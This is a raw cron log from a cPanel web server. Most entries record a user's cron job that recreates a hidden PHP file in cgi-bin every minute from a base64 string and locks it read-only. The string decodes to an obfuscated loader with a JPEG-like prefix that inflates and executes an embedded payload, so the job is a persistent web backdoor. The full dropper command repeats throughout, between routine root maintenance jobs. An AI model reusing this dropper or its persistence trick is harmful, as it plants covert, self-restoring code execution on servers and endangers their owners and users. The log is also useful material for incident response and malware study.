GY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 06:07:01 server CROND[10742]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 06:08:01 server CROND[10817]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 06:09:01 server CROND[10879]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 06:09:01 server CROND[10880]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 10 06:10:01 server CROND[11039]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 06:10:01 server CROND[11040]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 06:10:01 server CROND[11042]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 06:10:01 server CROND[11041]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 06:11:01 server CROND[11172]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 06:12:01 server CROND[11238]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 06:12:01 server CROND[11239]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 06:13:01 server CROND[11356]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 06:14:01 server CROND[11421]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 06:15:01 server CROND[11491]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 06:15:01 server CROND[11494]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 06:15:01 server CROND[11495]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr 10 06:15:01 server CROND[11493]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 06:15:01 server CROND[11496]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Apr 10 06:16:02 server CROND[11745]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 06:17:01 server CROND[11812]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 06:18:01 server CROND[11867]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 06:19:01 server CROND[11938]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 06:20:01 server CROND[12009]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 06:20:01 server CROND[12010]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 06:20:01 server CROND[12008]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 06:20:01 server CROND[12011]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
